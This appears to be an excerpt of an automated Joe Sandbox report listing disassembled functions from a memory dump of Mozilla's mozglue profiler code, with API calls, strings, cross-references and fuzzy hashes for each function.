GetCurrentThreadId.KERNEL32 ref: 6C63DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C63E000

Strings

[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C63E00E
<none>, xrefs: 6C63DFD7

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpid
String ID: <none>$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1430161788-1978395012
Opcode ID: 13f77c8d648f0780213e993d57fa24986c1d8b40c9834db381a02ac1f8bc6312
Instruction ID: 6e59c23c95cbd06155689d8793b3f4a537969557e8a0dc04087bd00d2dedb094
Opcode Fuzzy Hash: 13f77c8d648f0780213e993d57fa24986c1d8b40c9834db381a02ac1f8bc6312
Instruction Fuzzy Hash: 3E11C1316012319BDB159F59C8889AE7775FF8634CF101819EA0957706C7319811CFBE

Function 6C639420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C62AB89: EnterCriticalSection.KERNEL32(6C67E370,?,?,?,6C5F34DE,6C67F6CC,?,?,?,?,?,?,?,6C5F3284), ref: 6C62AB94
Part of subcall function 6C62AB89: LeaveCriticalSection.KERNEL32(6C67E370,?,6C5F34DE,6C67F6CC,?,?,?,?,?,?,?,6C5F3284,?,?,6C6156F6), ref: 6C62ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C63945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING,?,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639482
__Init_thread_footer.LIBCMT ref: 6C63949F

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C63947D
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C63946B
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C639459

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 00ebcf3e4e17ec0e4b2cdf14cbdeab766bc2ccee38dc92d8ffc5045a67cc4b15
Instruction ID: 70ad84ca59e17552c295066bf973e9d293889a728262a4586cfed211cbec270c
Opcode Fuzzy Hash: 00ebcf3e4e17ec0e4b2cdf14cbdeab766bc2ccee38dc92d8ffc5045a67cc4b15
Instruction Fuzzy Hash: C001F530A001218BD714DB6ED954A893274AF0632DF041D37D90EC6A43EA26D4648EBF

Function 6C640F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C640F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C640F88
GetCurrentThreadId.KERNEL32 ref: 6C640FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C641067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C6410A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C64114B

Part of subcall function 6C638AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C6412F7), ref: 6C638BD5

free.MOZGLUE(?), ref: 6C641174
free.MOZGLUE(?), ref: 6C641186

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: 1826d02da308be9440e08e11cf83e0c896aa96edbf11cf1dc74503d4fb2bae30
Instruction ID: d5466b7aac09eaedcb8c791e816f611657290b3ff9b1f14da43fce649baf12f9
Opcode Fuzzy Hash: 1826d02da308be9440e08e11cf83e0c896aa96edbf11cf1dc74503d4fb2bae30
Instruction Fuzzy Hash: FA61B075A043409BDB11CF25C880B9AB7F5BFD6308F14C91DE98947B12EB31E859CB9A

Function 6C5FB630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C5FB61E,?,?,?,?,?,00000000), ref: 6C5FB6AC

Part of subcall function 6C60CA10: malloc.MOZGLUE(?), ref: 6C60CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C5FB61E,?,?,?,?,?,00000000), ref: 6C5FB6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C5FB61E,?,?,?,?,?,00000000), ref: 6C5FB6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C5FB61E,?,?,?,?,?,00000000), ref: 6C5FB70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C5FB61E,?,?,?,?,?,00000000), ref: 6C5FB71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C5FB61E), ref: 6C5FB73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C5FB61E,?,?,?,?,?,00000000), ref: 6C5FB760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C5FB61E,?,?,?,?,?,00000000), ref: 6C5FB79A

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: 4e0ba86b27fc664077a017f16994341a24367068560a34519db5ae90b9fbfb26
Instruction ID: c7322d0b6d907ad3c582002fa99ac24d340fa65a3f8eb662f7375479df11a048
Opcode Fuzzy Hash: 4e0ba86b27fc664077a017f16994341a24367068560a34519db5ae90b9fbfb26
Instruction Fuzzy Hash: A241B4B2D00115DFCB08EF68DC806AFB7B5BB45324F250A29E825E7780E731A9058BE5

Function 6C5FEF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C675104), ref: 6C5FEFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C5FEFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5FEFEC
free.MOZGLUE(?), ref: 6C5FF00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C5FF02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C5FF041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5FF065
moz_xmalloc.MOZGLUE ref: 6C5FF072

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 5c70652234520ef64531ed8c643a37b5819b7d2e7f15902070005fad3158fe5e
Instruction ID: 79d9dc7f3edc79eeb34c2453a58c0581c1b5e900bd58ddf2c9b685316cbe8d20
Opcode Fuzzy Hash: 5c70652234520ef64531ed8c643a37b5819b7d2e7f15902070005fad3158fe5e
Instruction Fuzzy Hash: 5B41F8B1A001059FCB08CF68DC809AF77A9AF85314B244728E926D7794EB71E905CBE5

Function 6C66B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C66B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C66B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C66B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C66B5F4
__Init_thread_footer.LIBCMT ref: 6C66B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C66B61F
std::_Facet_Register.LIBCPMT ref: 6C66B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C66B655

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: e0af3bfe7d1b295629769b63207dff37cadfa39061e5bbc13a7c15cacf425345
Instruction ID: af29ffeded171bea1f907de4def52a12dd00a44ac3ff491584ac6ddb5b425814
Opcode Fuzzy Hash: e0af3bfe7d1b295629769b63207dff37cadfa39061e5bbc13a7c15cacf425345
Instruction Fuzzy Hash: 3B317271B00114CBCB059F6AC9989AEB7F5FFCA325F140919E90297740DB34A806CFAE

Function 6C636590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C62FA80: GetCurrentThreadId.KERNEL32 ref: 6C62FA8D
Part of subcall function 6C62FA80: AcquireSRWLockExclusive.KERNEL32(6C67F448,?,6C62FA1F,?,?,6C605407), ref: 6C62FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C636727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C6367C8

Part of subcall function 6C644290: memcpy.VCRUNTIME140(?,?,?,:dl,?,:dl,00000001,?,6C643AED,?,00000001), ref: 6C6442C4

Strings

data, xrefs: 6C636593
vgl, xrefs: 6C63696C

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data$vgl
API String ID: 511789754-1010661664
Opcode ID: 6fa73c3d5bf562275e0eb5839dd08cfda0f639ac241e737976ed597eefa10604
Instruction ID: ffa9b241ae34462ed7624bba3e1a14a50bca85bd105dfc3eb487372e3816c059
Opcode Fuzzy Hash: 6fa73c3d5bf562275e0eb5839dd08cfda0f639ac241e737976ed597eefa10604
Instruction Fuzzy Hash: 06D1BF75A083408FD724CF25C841B9ABBE5BFC6308F20992DE48987B51DB31D849CB5B

Function 6C62D5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C5FEB57,?,?,?,?,?,?,?,?,?), ref: 6C62D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C5FEB57,?), ref: 6C62D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C5FEB57,?), ref: 6C62D673
free.MOZGLUE(?), ref: 6C62D888

Strings

|Enabled, xrefs: 6C62D81E
W_l, xrefs: 6C62D5D9, 6C62D63F

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: W_l$|Enabled
API String ID: 4142949111-4144283391
Opcode ID: 401bff7ad8b2e67752e8c035e0aec832f40226bc87903bf43ad5596a9b261589
Instruction ID: 72d1252a06e2f5a5e8d00a13a42150a0b44ca2d15ad4eb06467a72b8015d9d85
Opcode Fuzzy Hash: 401bff7ad8b2e67752e8c035e0aec832f40226bc87903bf43ad5596a9b261589
Instruction Fuzzy Hash: EBA102B0A042149FDB15CF69C490BEEBBF1EF4A318F14845CD899AB741D738A845CFA9

Function 6C609830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6C657ABE), ref: 6C60985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6C657ABE), ref: 6C6098A8
moz_xmalloc.MOZGLUE(00000020), ref: 6C609909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6C609918
free.MOZGLUE(?), ref: 6C609975

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: 2aa7779f6ce236684f4c6ec756c1d2d489eae76a35de5061903e2e035f138cb5
Instruction ID: f0406a3010d927fe12342ac19a2b6576129c3c3bb398f6e33ecdaebfee5ec291
Opcode Fuzzy Hash: 2aa7779f6ce236684f4c6ec756c1d2d489eae76a35de5061903e2e035f138cb5
Instruction Fuzzy Hash: 7D71AC74604B058FC729CF28C580956B7F2FF4A3287284AADE85A9BB90D771F841CF95

Function 6C60B790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C64CC83,?,?,?,?,?,?,?,?,?,6C64BCAE,?,?,6C63DC2C), ref: 6C60B7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C64CC83,?,?,?,?,?,?,?,?,?,6C64BCAE,?,?,6C63DC2C), ref: 6C60B80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C64CC83,?,?,?,?,?,?,?,?,?,6C64BCAE), ref: 6C60B88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C64CC83,?,?,?,?,?,?,?,?,?,6C64BCAE,?,?,6C63DC2C), ref: 6C60B896

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 25fe88fd7cd994a032bc37eee0e023f83d5bf950457ab4cd688909834ff2d562
Instruction ID: 322721848ea861aa77412dab5ecd999a58fcaf2b04e6ae1bb59a4380724da76a
Opcode Fuzzy Hash: 25fe88fd7cd994a032bc37eee0e023f83d5bf950457ab4cd688909834ff2d562
Instruction Fuzzy Hash: EA518B357006008FCB19CF59C6C4A6ABBF5FF89318B69895DE99AA7351C730EC01CB98

Function 6C641D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C641D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C641BE3,?,?,6C641D96,00000000), ref: 6C641D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C641BE3,?,?,6C641D96,00000000), ref: 6C641D4C
GetCurrentThreadId.KERNEL32 ref: 6C641DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C641DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C641DDA

Part of subcall function 6C641EF0: GetCurrentThreadId.KERNEL32 ref: 6C641F03
Part of subcall function 6C641EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C641DF2,00000000,00000000), ref: 6C641F0C
Part of subcall function 6C641EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C641F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C641DF4

Part of subcall function 6C60CA10: malloc.MOZGLUE(?), ref: 6C60CA26

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 5aba73f4b158dc6b28f43cf106c799ab856eda16cc62e39b65ca5b2f6c98eb94
Instruction ID: 9aad976bc718f0d7facb545b2681b80cfd853fb67d109a1771bc27cce92c357f
Opcode Fuzzy Hash: 5aba73f4b158dc6b28f43cf106c799ab856eda16cc62e39b65ca5b2f6c98eb94
Instruction Fuzzy Hash: 25417BB5201700AFCB14DF29C488A56BBF9FF89354F10882DE95A87B41CB71F854CBA9

Function 6C6384E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6384F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C63850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C63851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C63855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C63856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6385AC

Part of subcall function 6C637670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C63767F
Part of subcall function 6C637670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C637693
Part of subcall function 6C637670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6376A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6385B2

Part of subcall function 6C615E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C615EDB
Part of subcall function 6C615E90: memset.VCRUNTIME140(ewel,000000E5,?), ref: 6C615F27
Part of subcall function 6C615E90: LeaveCriticalSection.KERNEL32(?), ref: 6C615FB2

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: ee08a71d84c9ca3751d90f5be5f229d953436dc28690bbf4a6354d3cff8c08cc
Instruction ID: 25127b9a0646a2851f96e90ce7c00984f1abcf33c0c18be027e00a36e3988d8b
Opcode Fuzzy Hash: ee08a71d84c9ca3751d90f5be5f229d953436dc28690bbf4a6354d3cff8c08cc
Instruction Fuzzy Hash: 4521D3702016119FDB14DF25C888A9AB7B5AF8931CF24582EE54FC3B41DB31F948CBA9

Function 6C601640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C601699
VerSetConditionMask.NTDLL ref: 6C6016CB
VerSetConditionMask.NTDLL ref: 6C6016D7
VerSetConditionMask.NTDLL ref: 6C6016DE
VerSetConditionMask.NTDLL ref: 6C6016E5
VerSetConditionMask.NTDLL ref: 6C6016EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C6016F9

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: bc7b716ca72869fd2e98c8cc6d39d1cc2dd4eb78d0c35e5c74e4eae7423c86a3
Instruction ID: 96c6189e59ad3822e92b8b00299f4e083a3173ce71709572423143d70899de1d
Opcode Fuzzy Hash: bc7b716ca72869fd2e98c8cc6d39d1cc2dd4eb78d0c35e5c74e4eae7423c86a3
Instruction Fuzzy Hash: 0D2127B07442086FEB155A658C89FFB737CDFC6704F004928F6059B1C0C6789D5487BA

Function 6C63DE60 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C63945E
Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639470
Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING,?,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639482
Part of subcall function 6C639420: __Init_thread_footer.LIBCMT ref: 6C63949F

GetCurrentThreadId.KERNEL32 ref: 6C63DE73
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,6C66FEF3,?,?,?,?,?,?,00000000), ref: 6C63DE7B

Part of subcall function 6C6394D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6394EE
Part of subcall function 6C6394D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,?,00000000,?), ref: 6C639508

Part of subcall function 6C62CBE8: GetCurrentProcess.KERNEL32(?,6C5F31A7), ref: 6C62CBF1
Part of subcall function 6C62CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5F31A7), ref: 6C62CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000), ref: 6C63DEB8
free.MOZGLUE(00000000), ref: 6C63DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C63DF38

Strings

[I %d/%d] locked_profiler_stop, xrefs: 6C63DE83

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

